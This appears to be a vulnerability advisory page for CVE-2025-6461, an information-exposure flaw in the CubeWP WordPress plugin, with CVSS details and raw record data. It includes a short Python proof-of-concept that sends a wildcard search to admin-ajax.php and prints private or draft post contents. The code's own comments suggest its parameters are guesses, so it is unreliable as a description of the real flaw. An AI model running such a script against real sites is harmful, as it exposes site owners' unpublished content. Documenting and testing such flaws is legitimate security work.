Security Vulnerability Report
中文
CVE-2025-6461 CVSS 4.3 MEDIUM

CVE-2025-6461

Published: 2026-01-25 03:15:51
Last Modified: 2026-04-15 00:35:42

Description

The CubeWP – All-in-One Dynamic Content Framework plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.27 via the search feature in class-cubewp-search-ajax-hooks.php due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CubeWP插件 <= 1.1.27

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-6461 PoC - CubeWP Information Disclosure # Target: WordPress site with vulnerable CubeWP plugin (<= 1.1.27) def exploit_cve_2025_6461(target_url): """ Exploit for CubeWP plugin information disclosure vulnerability. This PoC demonstrates how an unauthenticated attacker can access password-protected, private, or draft posts through the search function. """ # Search endpoint typically accessible via AJAX search_url = f"{target_url}/wp-admin/admin-ajax.php" # Prepare search request to extract protected content payload = { 'action': 'cubewp_search', # Search action hook 'keyword': '*', # Wildcard to match all posts 'post_type': 'post', 'nonce': '' # May not be required for vulnerable versions } try: response = requests.post(search_url, data=payload, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Response received: {len(data)} items found") # Extract information from protected posts for item in data: if 'title' in item: print(f"[*] Leaked post: {item['title']}") if 'content' in item: print(f"[*] Content preview: {item['content'][:100]}...") return True except Exception as e: print(f"[-] Error: {e}") return False # Usage example # target = "https://example.com" # exploit_cve_2025_6461(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6461", "sourceIdentifier": "[email protected]", "published": "2026-01-25T03:15:51.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CubeWP – All-in-One Dynamic Content Framework plugin for WordPress is vulnerable to Information Exposure in all versions up to, and including, 1.1.27 via the search feature in class-cubewp-search-ajax-hooks.php due to insufficient restrictions on which posts can be included. This makes it possible for unauthenticated attackers to extract data from password protected, private, or draft posts that they should not have access to."}, {"lang": "es", "value": "El plugin CubeWP – All-in-One Dynamic Content Framework para WordPress es vulnerable a la Exposición de Información en todas las versiones hasta la 1.1.27, inclusive, a través de la función de búsqueda en class-cubewp-search-ajax-hooks.php debido a restricciones insuficientes sobre qué publicaciones pueden ser incluidas. Esto permite a atacantes no autenticados extraer datos de publicaciones protegidas con contraseña, privadas o en borrador a las que no deberían tener acceso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3422640/cubewp-framework/trunk/cube/modules/search/class-cubewp-search-ajax-hooks.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0edb6b7c-8a78-44b9-a5d6-b4a563c92484?source=cve", "source": "[email protected]"}]}}